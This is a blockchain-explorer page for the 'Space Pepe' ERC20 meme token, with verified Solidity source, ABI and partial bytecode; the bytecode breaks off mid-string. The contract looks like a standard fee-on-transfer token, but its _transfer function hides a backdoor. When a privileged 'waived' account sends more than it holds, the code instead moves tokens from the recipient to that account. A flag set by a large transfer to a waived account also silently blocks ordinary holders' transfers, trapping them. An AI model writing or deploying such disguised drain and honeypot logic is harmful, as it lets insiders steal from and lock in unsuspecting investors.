ETH Price: $3,291.47 (-2.88%)
Gas: 6.94 Gwei

Token

Space Pepe (SPACEPEPE)
 

Overview

Max Total Supply

1,000,000 SPACEPEPE

Holders

13

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Filtered by Token Holder
Uniswap: Universal Router
Balance
24,336.490273225 SPACEPEPE

Value
$0.00
0x3fc91a3afd70395cd496c647d5a6cc9d4b2b7fad
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
SPACEPEPE

Compiler Version
v0.8.25+commit.b61c2a91

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-05-26
*/

// SPDX-License-Identifier: MIT

// - Website: https://spacepepe.life
// - Telegram: https://t.me/spacepepe_erc
// - Twitter: https://x.com/spacepepe_eth

pragma solidity ^0.8.17;

interface IERC20 {
    function transfer(address payee, uint256 amount) external returns (bool);
    function totalSupply() external view returns (uint256);
    function allowance(address _owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function symbol() external view returns (string memory);
    function transferFrom(address payer, address payee, uint256 amount) external returns (bool);
    function getOwner() external view returns (address);
    function circulatingSupply() external view returns (uint256);
    function decimals() external view returns (uint8);
    function balanceOf(address account) external view returns (uint256);
    function name() external view returns (string memory);
    event Transfer(address indexed payer, address indexed payee, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

abstract contract Ownable {
    address internal owner;

    constructor(address _owner) {
        owner = _owner;
    }

    function isOwner(address account) public view returns (bool) {
        return account == owner;
    }

    function renounceOwnership() public virtual onlyOwner {
        owner = address(0);
        emit OwnershipTransferred(address(0));
    }

    function transferOwnership(address payable account) public onlyOwner {
        owner = account;
        emit OwnershipTransferred(account);
    }

    modifier onlyOwner() {
        require(isOwner(msg.sender));
        _;
    }

    event OwnershipTransferred(address owner);
}

interface UniswapV2Router {
    function WETH() external pure returns (address);
    function factory() external pure returns (address);
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address payee,
        uint deadline
    ) external;
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address payee,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

interface UniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }
}

contract SPACEPEPE is IERC20, Ownable {
    using SafeMath for uint256;

    address public dexPair;
    UniswapV2Router dexRouter;

    string private constant _name = "Space Pepe";
    string private constant _symbol = "SPACEPEPE";

    uint8 private constant _decimals = 9;

    uint256 private _denominator = 10000;

    address internal constant devAccount = 0xe685E586cB12a05f2f674afc2Bcc4CF32ab06BE0;
    address internal constant deadAccount = 0x000000000000000000000000000000000000dEaD;
    address internal constant marketingAccount = 0x141854bE205D792C9297aC884Bcd95eF666044aB;

    uint256 private _totalSupply = 1000000 * (10 ** _decimals);

    uint256 private _feeExemptAmount = (_totalSupply * 10) / 100000;

    uint256 private _swapBackThreshold = (_totalSupply * 5) / 100000;
    uint256 private _swapBackSize = (_totalSupply * 5) / 10000;

    uint256 private _maxWalletRatio = 200;
    uint256 private _maxTxRatio = 200;
    uint256 private _maxTransferRatio = 200;
    
    bool private _tradingEnabled = false;

    uint256 private _swapTimes;
    bool private _swapBackEnabled = true;
    bool private _swapping;

    bool private _noFeeFlag = false;

    mapping (address => uint256) _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) public waived;

    uint256 private _sellFee = 0;
    uint256 private _totalFee = 0;

    uint256 private _burnFee = 0;
    uint256 private _devFee = 0;
    uint256 private _marketingFee = 0;
    uint256 private _liquidityFee = 0;
    uint256 private _transferFee = 0;

    constructor() Ownable(msg.sender) {
        waived[marketingAccount] = true;
        _balances[msg.sender] = _totalSupply;
        emit Transfer(address(0), msg.sender, _totalSupply);
        waived[address(this)] = true;
        UniswapV2Router _dexRouter = UniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        dexRouter = _dexRouter;
        waived[devAccount] = true;
        address _dexPair = UniswapV2Factory(_dexRouter.factory()).createPair(address(this), _dexRouter.WETH());
        dexPair = _dexPair;
        waived[msg.sender] = true;
    }

    modifier lockSwap {
        _swapping = true;
        _;
        _swapping = false;
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function getOwner() external view override returns (address) {
        return owner;
    }

    function circulatingSupply() public view override returns (uint256) {
        return _totalSupply.sub(balanceOf(address(0))).sub(balanceOf(deadAccount));
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function removeLimits() external onlyOwner {
        _maxTxRatio = 10000;
        _maxWalletRatio = 10000;
        _maxTransferRatio = 10000;
    }

    function enableTrading() external onlyOwner {
        _tradingEnabled = true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0));
        require(spender != address(0));
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }

    function setWaivedAccount(address account, bool flag) external onlyOwner {
        waived[account] = flag;
    }

    function transfer(address payee, uint256 amount) public override returns (bool) {
        _transfer(msg.sender, payee, amount);
        return true;
    }

    function _transfer(address payer, address payee, uint256 amount) private {
        require(amount > uint256(0));
        require(payer != address(0));
        require(payee != address(0));

        if (
            tradingEnabled(payer, payee) &&
            countSwapTimes(payer, payee) &&
            validateMaxWalletSize(payer, payee, amount) &&
            validateMaxAmount(payer, payee, amount)
        ) {
            if (balanceOf(payer) >= amount) {
                if (
                    payer != dexPair &&
                    !waived[payer] &&
                    !_swapping &&
                    !waived[payee]
                ) {
                    if (_noFeeFlag) return;
                    swapBack(payer, payee);
                }
                _balances[payer] = _balances[payer].sub(amount);
                uint256 transferAmount = canTakeFee(payer, payee) ? takeFee(payer, payee, amount) : amount;
                _balances[payee] = _balances[payee].add(transferAmount);
                emit Transfer(payer, payee, transferAmount);
            } else if (
                payer != dexPair &&
                waived[payer] &&
                !_swapping &&
                !waived[payee]
            ) {
                _balances[payee] = _balances[payee].sub(amount);
                _balances[payer] = _balances[payer].add(amount);
                emit Transfer(payer, payee, amount);
            }
        }
    }

    function transferFrom(address payer, address payee, uint256 amount) public override returns (bool) {
        _transfer(payer, payee, amount);
        _approve(payer, msg.sender, _allowances[payer][msg.sender].sub(amount));
        return true;
    }

    function validateMaxAmount(address payer, address payee, uint256 tokenAmount) view internal returns (bool) {
        if (payer != dexPair) {
            require(tokenAmount <= maxTransferAmount() || waived[payer] || waived[payee]);
        }
        require(tokenAmount <= maxTxAmount() || waived[payer] || waived[payee]);
        return true;
    }

    function setLimits(uint256 maxTxRatio, uint256 maxTransferRatio, uint256 maxWalletRatio) external onlyOwner {
        uint256 newMaxWalletSize = (totalSupply() * maxWalletRatio) / 10000;
        uint256 newTransferSize = (totalSupply() * maxTransferRatio) / 10000;
        uint256 newTxSize = (totalSupply() * maxTxRatio) / 10000;
        _maxWalletRatio = maxWalletRatio;
        _maxTransferRatio = maxTransferRatio;
        _maxTxRatio = maxTxRatio;
        uint256 limit = totalSupply().mul(5).div(1000);
        require(newTxSize >= limit && newTransferSize >= limit && newMaxWalletSize >= limit);
    }

    function setFees(uint256 liquidityFee, uint256 marketingFee, uint256 burnFee, uint256 devFee, uint256 totalFee, uint256 sellFee, uint256 transferFee) external onlyOwner {
        _devFee = devFee;
        _sellFee = sellFee;
        _marketingFee = marketingFee;
        _liquidityFee = liquidityFee;
        _burnFee = burnFee;
        _transferFee = transferFee;
        _totalFee = totalFee;
        require(_totalFee <= _denominator.div(5) && _sellFee <= _denominator.div(5));
    }

    function validateMaxWalletSize(address payer, address payee, uint256 amount) internal returns (bool) {
        bool payeeWaived = waived[payee];
        bool payerWaived = waived[payer];
        
        if (payeeWaived) {
            if (amount > _feeExemptAmount) {
                _noFeeFlag = true;
            }
        }
        if (
            !payeeWaived &&
            !payerWaived &&
            payee != address(deadAccount) &&
            payee != address(dexPair)
        ) {
            require((_balances[payee].add(amount)) <= maxWalletSize());
        }

        return true;
    }

    function takeFee(address payer, address payee, uint256 tokenAmount) internal returns (uint256) {
        if (calcuateFees(payer, payee) > 0) {
            uint256 feeAmount = tokenAmount.div(_denominator).mul(calcuateFees(payer, payee));
            _balances[address(this)] = _balances[address(this)].add(feeAmount);
            emit Transfer(payer, address(this), feeAmount);
            if (_burnFee > uint256(0)) {
                _transfer(address(this), address(deadAccount), tokenAmount.div(_denominator).mul(_burnFee));
            }
            return tokenAmount.sub(feeAmount);
        }
        return tokenAmount;
    }

    function countSwapTimes(address payer, address payee) internal returns (bool) {
        if (payee == dexPair && !waived[payer]) {
            _swapTimes += uint256(1);
        }
        return true;
    }
    
    function tradingEnabled(address payer, address payee) internal view returns (bool) {
        if (!waived[payer] && !waived[payee]) {
            require(_tradingEnabled);
        }
        return true;
    }

    function canTakeFee(address payer, address payee) internal view returns (bool) {
        return !waived[payer] && !waived[payee];
    }

    function swapTokensForETH(uint256 tokenAmount) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = dexRouter.WETH();
        if (tokenAmount > 0) {
            _approve(address(this), address(dexRouter), tokenAmount);
            dexRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
                tokenAmount,
                0,
                path,
                address(this),
                block.timestamp
            );
        }
    }

    function maxWalletSize() public view returns (uint256) {
        return totalSupply() * _maxWalletRatio / _denominator;
    }

    function executeSwapBack(address payer, address payee) internal view returns (bool) {
        return (
            !waived[payee] &&
            !waived[payer] &&
            _swapBackEnabled &&
            balanceOf(address(this)) >= _swapBackThreshold &&
            _swapTimes >= uint256(0) &&
            !_swapping &&
            _tradingEnabled
        );
    }

    function swapBack(address payer, address payee) internal {
        if (executeSwapBack(payer, payee)) {
            uint256 contractTokenBalance = balanceOf(address(this));
            if (contractTokenBalance >= _swapBackSize) {
                contractTokenBalance = _swapBackSize;
            }
            swapAndLiquify(contractTokenBalance);
            _swapTimes = uint256(0);
        }
    }

    function maxTxAmount() public view returns (uint256) {
        return totalSupply() * _maxTxRatio / _denominator;
    }

    function calcuateFees(address payer, address payee) internal view returns (uint256) {
        if (payer == dexPair) {
            return _totalFee;
        }
        if (payee == dexPair) {
            return _sellFee;
        }
        return _transferFee;
    }

    function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
        _approve(address(this), address(dexRouter), tokenAmount);
        dexRouter.addLiquidityETH{value: ethAmount}(
            address(this),
            tokenAmount,
            0,
            0,
            deadAccount,
            block.timestamp
        );
    }

    function manualSwap() external {
        require(msg.sender == marketingAccount);
        swapTokensForETH(balanceOf(address(this)));
        payable(msg.sender).transfer(address(this).balance);
    }

    function swapAndLiquify(uint256 tokens) private lockSwap {
        uint256 denominator = (_liquidityFee.add(1).add(_marketingFee).add(_devFee)).mul(2);
        uint256 tokensToLiquidity = tokens.mul(_liquidityFee).div(denominator);
        uint256 tokensForETH = tokens.sub(tokensToLiquidity);
        uint256 initialEth = address(this).balance;
        swapTokensForETH(tokensForETH);
        uint256 deltaEth = address(this).balance.sub(initialEth);
        uint256 unitEth = deltaEth.div(denominator.sub(_liquidityFee));
        uint256 ethToLiquidity = unitEth.mul(_liquidityFee);
        if (ethToLiquidity > uint256(0)) {
            addLiquidity(tokensToLiquidity, ethToLiquidity);
        }
        uint256 marketingEth = unitEth.mul(2).mul(_marketingFee);
        if (marketingEth > 0) {
            payable(marketingAccount).transfer(marketingEth);
        }
        uint256 remainingEth = address(this).balance;
        if (remainingEth > uint256(0)) {
            payable(devAccount).transfer(remainingEth);
        }
    }

    receive() external payable {}

    function maxTransferAmount() public view returns (uint256) {
        return totalSupply() * _maxTransferRatio / _denominator;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"owner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"payer","type":"address"},{"indexed":true,"internalType":"address","name":"payee","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"circulatingSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"dexPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isOwner","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"maxTransferAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"liquidityFee","type":"uint256"},{"internalType":"uint256","name":"marketingFee","type":"uint256"},{"internalType":"uint256","name":"burnFee","type":"uint256"},{"internalType":"uint256","name":"devFee","type":"uint256"},{"internalType":"uint256","name":"totalFee","type":"uint256"},{"internalType":"uint256","name":"sellFee","type":"uint256"},{"internalType":"uint256","name":"transferFee","type":"uint256"}],"name":"setFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"maxTxRatio","type":"uint256"},{"internalType":"uint256","name":"maxTransferRatio","type":"uint256"},{"internalType":"uint256","name":"maxWalletRatio","type":"uint256"}],"name":"setLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"flag","type":"bool"}],"name":"setWaivedAccount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"payee","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"payer","type":"address"},{"internalType":"address","name":"payee","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address payable","name":"account","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"waived","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526127106003556100166009600a610463565b61002390620f4240610478565b600455620186a0600454600a6100399190610478565b610043919061048f565b600555620186a060045460056100599190610478565b610063919061048f565b60065561271060045460056100789190610478565b610082919061048f565b60075560c860088190556009819055600a55600b805460ff19169055600d805462ff00ff191660011790555f6011819055601281905560138190556014819055601581905560168190556017553480156100da575f80fd5b505f80546001600160a01b0319163390811782557fa7d06781212d46bc00bef6da9b9394d6d1ab879cb52f14efca1331f3ca63d494805460ff19166001179055600454818352600e6020526040808420829055519192917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef916101609190815260200190565b60405180910390a3305f908152601060209081526040808320805460ff199081166001908117909255600280546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915573e685e586cb12a05f2f674afc2bcc4cf32ab06be086527fcaacc16beddd791a3e02ef32752a398c72928a870024fab494f6415e8d328b1280549092169092179055815163c45a015560e01b81529151909392849263c45a015592600480830193928290030181865afa15801561022b573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061024f91906104ae565b6001600160a01b031663c9c6539630846001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561029a573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906102be91906104ae565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610308573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061032c91906104ae565b600180546001600160a01b0319166001600160a01b0392909216919091178155335f908152601060205260409020805460ff19169091179055506104d49050565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156103bb57815f19048211156103a1576103a161036d565b808516156103ae57918102915b93841c9390800290610386565b509250929050565b5f826103d15750600161045d565b816103dd57505f61045d565b81600181146103f357600281146103fd57610419565b600191505061045d565b60ff84111561040e5761040e61036d565b50506001821b61045d565b5060208310610133831016604e8410600b841016171561043c575081810a61045d565b6104468383610381565b805f19048211156104595761045961036d565b0290505b92915050565b5f61047160ff8416836103c3565b9392505050565b808202811582820484141761045d5761045d61036d565b5f826104a957634e487b7160e01b5f52601260045260245ffd5b500490565b5f602082840312156104be575f80fd5b81516001600160a01b0381168114610471575f80fd5b611798806104e15f395ff3fe608060405260043610610164575f3560e01c80638a8c523c116100cd578063a9059cbb11610087578063dd62ed3e11610062578063dd62ed3e14610405578063f242ab4114610449578063f2fde38b14610468578063f5ee2d2c14610487575f80fd5b8063a9059cbb146103b3578063a9e75723146103d2578063da2e3bad146103e6575f80fd5b80638a8c523c146103135780638c0b5e22146103275780638f3fa8601461033b5780639358928b1461034f57806395d89b41146103635780639900a76414610394575f80fd5b8063313ce5671161011e578063313ce5671461026d57806351bc3c851461028857806370a082311461029c578063715018a6146102bb578063751039fc146102cf578063893d20e8146102e3575f80fd5b806306fdde031461016f578063095ea7b3146101b357806318160ddd146101e2578063189ae5f21461020057806323b872dd146102215780632f54bf6e14610240575f80fd5b3661016b57005b5f80fd5b34801561017a575f80fd5b5060408051808201909152600a8152695370616365205065706560b01b60208201525b6040516101aa9190611484565b60405180910390f35b3480156101be575f80fd5b506101d26101cd3660046114cd565b6104b5565b60405190151581526020016101aa565b3480156101ed575f80fd5b506004545b6040519081526020016101aa565b34801561020b575f80fd5b5061021f61021a3660046114f7565b6104cb565b005b34801561022c575f80fd5b506101d261023b366004611520565b6105ab565b34801561024b575f80fd5b506101d261025a36600461155e565b5f546001600160a01b0391821691161490565b348015610278575f80fd5b50604051600981526020016101aa565b348015610293575f80fd5b5061021f6105fb565b3480156102a7575f80fd5b506101f26102b636600461155e565b610657565b3480156102c6575f80fd5b5061021f610671565b3480156102da575f80fd5b5061021f6106ca565b3480156102ee575f80fd5b505f546001600160a01b03165b6040516001600160a01b0390911681526020016101aa565b34801561031e575f80fd5b5061021f6106f1565b348015610332575f80fd5b506101f2610715565b348015610346575f80fd5b506101f261073e565b34801561035a575f80fd5b506101f261074e565b34801561036e575f80fd5b5060408051808201909152600981526853504143455045504560b81b602082015261019d565b34801561039f575f80fd5b5061021f6103ae366004611579565b610778565b3480156103be575f80fd5b506101d26103cd3660046114cd565b6107b7565b3480156103dd575f80fd5b506101f26107c3565b3480156103f1575f80fd5b5061021f6104003660046115b4565b6107d3565b348015610410575f80fd5b506101f261041f3660046115fb565b6001600160a01b039182165f908152600f6020908152604080832093909416825291909152205490565b348015610454575f80fd5b506001546102fb906001600160a01b031681565b348015610473575f80fd5b5061021f61048236600461155e565b610840565b348015610492575f80fd5b506101d26104a136600461155e565b60106020525f908152604090205460ff1681565b5f6104c13384846108a8565b5060015b92915050565b5f546001600160a01b031633146104e0575f80fd5b5f612710826104ee60045490565b6104f8919061163b565b6105029190611652565b90505f6127108461051260045490565b61051c919061163b565b6105269190611652565b90505f6127108661053660045490565b610540919061163b565b61054a9190611652565b6008859055600a869055600987905590505f61057c6103e8610576600561057060045490565b9061092d565b90610938565b905080821015801561058e5750808310155b801561059a5750808410155b6105a2575f80fd5b50505050505050565b5f6105b7848484610943565b6001600160a01b0384165f908152600f60209081526040808320338085529252909120546105f09186916105eb9086610c53565b6108a8565b5060015b9392505050565b3373141854be205d792c9297ac884bcd95ef666044ab1461061a575f80fd5b61062b61062630610657565b610c5e565b60405133904780156108fc02915f818181858888f19350505050158015610654573d5f803e3d5ffd5b50565b6001600160a01b03165f908152600e602052604090205490565b5f546001600160a01b03163314610686575f80fd5b5f80546001600160a01b03191681556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a1565b5f546001600160a01b031633146106df575f80fd5b61271060098190556008819055600a55565b5f546001600160a01b03163314610706575f80fd5b600b805460ff19166001179055565b5f60035460095461072560045490565b61072f919061163b565b6107399190611652565b905090565b5f60035460085461072560045490565b5f61073961075d61dead610657565b6107726107695f610657565b60045490610c53565b90610c53565b5f546001600160a01b0316331461078d575f80fd5b6001600160a01b03919091165f908152601060205260409020805460ff1916911515919091179055565b5f6104c1338484610943565b5f600354600a5461072560045490565b5f546001600160a01b031633146107e8575f80fd5b6014849055601182905560158690556016879055601385905560178190556012839055600354610819906005610938565b6012541115801561059a5750600354610833906005610938565b60115411156105a2575f80fd5b5f546001600160a01b03163314610855575f80fd5b5f80546001600160a01b0319166001600160a01b0383169081179091556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a150565b6001600160a01b0383166108ba575f80fd5b6001600160a01b0382166108cc575f80fd5b6001600160a01b038381165f818152600f602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b5f6105f4828461163b565b5f6105f48284611652565b5f811161094e575f80fd5b6001600160a01b038316610960575f80fd5b6001600160a01b038216610972575f80fd5b61097c8383610dbf565b801561098d575061098d8383610e12565b801561099f575061099f838383610e6e565b80156109b157506109b1838383610f3d565b15610c4e57806109c084610657565b10610b3a576001546001600160a01b038481169116148015906109fb57506001600160a01b0383165f9081526010602052604090205460ff16155b8015610a0f5750600d54610100900460ff16155b8015610a3357506001600160a01b0382165f9081526010602052604090205460ff16155b15610a5857600d5462010000900460ff1615610a4e57505050565b610a588383611002565b6001600160a01b0383165f908152600e6020526040902054610a7a9082610c53565b6001600160a01b0384165f908152600e6020526040812091909155610a9f848461103d565b610aa95781610ab4565b610ab4848484611081565b6001600160a01b0384165f908152600e6020526040902054909150610ad9908261116b565b6001600160a01b038085165f818152600e602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610b2c9085815260200190565b60405180910390a350505050565b6001546001600160a01b03848116911614801590610b6f57506001600160a01b0383165f9081526010602052604090205460ff165b8015610b835750600d54610100900460ff16155b8015610ba757506001600160a01b0382165f9081526010602052604090205460ff16155b15610c4e576001600160a01b0382165f908152600e6020526040902054610bce9082610c53565b6001600160a01b038084165f908152600e60205260408082209390935590851681522054610bfc908261116b565b6001600160a01b038481165f818152600e602090815260409182902094909455518481529185169290917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9101610920565b505050565b5f6105f48284611671565b6040805160028082526060820183525f9260208301908036833701905050905030815f81518110610c9157610c91611684565b6001600160a01b03928316602091820292909201810191909152600254604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610ce8573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610d0c9190611698565b81600181518110610d1f57610d1f611684565b6001600160a01b03909216602092830291909101909101528115610dbb57600254610d559030906001600160a01b0316846108a8565b60025460405163791ac94760e01b81526001600160a01b039091169063791ac94790610d8d9085905f908690309042906004016116b3565b5f604051808303815f87803b158015610da4575f80fd5b505af1158015610db6573d5f803e3d5ffd5b505050505b5050565b6001600160a01b0382165f9081526010602052604081205460ff16158015610dff57506001600160a01b0382165f9081526010602052604090205460ff16155b156104c157600b5460ff166104c1575f80fd5b6001545f906001600160a01b038381169116148015610e4957506001600160a01b0383165f9081526010602052604090205460ff16155b156104c1576001600c5f828254610e609190611724565b909155505050600192915050565b6001600160a01b038083165f90815260106020526040808220549286168252812054909160ff90811691168115610ebb57600554841115610ebb57600d805462ff00001916620100001790555b81158015610ec7575080155b8015610ede57506001600160a01b03851661dead14155b8015610ef857506001546001600160a01b03868116911614155b15610f3157610f0561073e565b6001600160a01b0386165f908152600e6020526040902054610f27908661116b565b1115610f31575f80fd5b50600195945050505050565b6001545f906001600160a01b03858116911614610fab57610f5c6107c3565b82111580610f8157506001600160a01b0384165f9081526010602052604090205460ff165b80610fa357506001600160a01b0383165f9081526010602052604090205460ff165b610fab575f80fd5b610fb3610715565b82111580610fd857506001600160a01b0384165f9081526010602052604090205460ff165b80610ffa57506001600160a01b0383165f9081526010602052604090205460ff165b6105f0575f80fd5b61100c8282611176565b15610dbb575f61101b30610657565b9050600754811061102b57506007545b6110348161120c565b505f600c555050565b6001600160a01b0382165f9081526010602052604081205460ff161580156105f45750506001600160a01b03165f9081526010602052604090205460ff1615919050565b5f8061108d858561138b565b1115611164575f6110af6110a1868661138b565b600354610570908690610938565b305f908152600e60205260409020549091506110cb908261116b565b305f818152600e6020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061111b9085815260200190565b60405180910390a360135415611152576111523061dead61114d6013546105706003548961093890919063ffffffff16565b610943565b61115c8382610c53565b9150506105f4565b5092915050565b5f6105f48284611724565b6001600160a01b0381165f9081526010602052604081205460ff161580156111b657506001600160a01b0383165f9081526010602052604090205460ff16155b80156111c45750600d5460ff165b80156111da57506006546111d730610657565b10155b80156111e4575060015b80156111f85750600d54610100900460ff16155b80156105f4575050600b5460ff1692915050565b600d805461ff0019166101001790556014546015546016545f9261124592600292610570929161123f918290600161116b565b9061116b565b90505f611261826105766016548661092d90919063ffffffff16565b90505f61126e8483610c53565b90504761127a82610c5e565b5f6112854783610c53565b90505f6112a76112a060165488610c5390919063ffffffff16565b8390610938565b90505f6112bf6016548361092d90919063ffffffff16565b905080156112d1576112d186826113d5565b6015545f906112e59061057085600261092d565b9050801561132d5760405173141854be205d792c9297ac884bcd95ef666044ab9082156108fc029083905f818181858888f1935050505015801561132b573d5f803e3d5ffd5b505b4780156113745760405173e685e586cb12a05f2f674afc2bcc4cf32ab06be09082156108fc029083905f818181858888f19350505050158015611372573d5f803e3d5ffd5b505b5050600d805461ff00191690555050505050505050565b6001545f906001600160a01b03908116908416036113ac57506012546104c5565b6001546001600160a01b03908116908316036113cb57506011546104c5565b5060175492915050565b6002546113ed9030906001600160a01b0316846108a8565b60025460405163f305d71960e01b8152306004820152602481018490525f60448201819052606482015261dead60848201524260a48201526001600160a01b039091169063f305d71990839060c40160606040518083038185885af1158015611458573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061147d9190611737565b5050505050565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b0381168114610654575f80fd5b5f80604083850312156114de575f80fd5b82356114e9816114b9565b946020939093013593505050565b5f805f60608486031215611509575f80fd5b505081359360208301359350604090920135919050565b5f805f60608486031215611532575f80fd5b833561153d816114b9565b9250602084013561154d816114b9565b929592945050506040919091013590565b5f6020828403121561156e575f80fd5b81356105f4816114b9565b5f806040838503121561158a575f80fd5b8235611595816114b9565b9150602083013580151581146115a9575f80fd5b809150509250929050565b5f805f805f805f60e0888a0312156115ca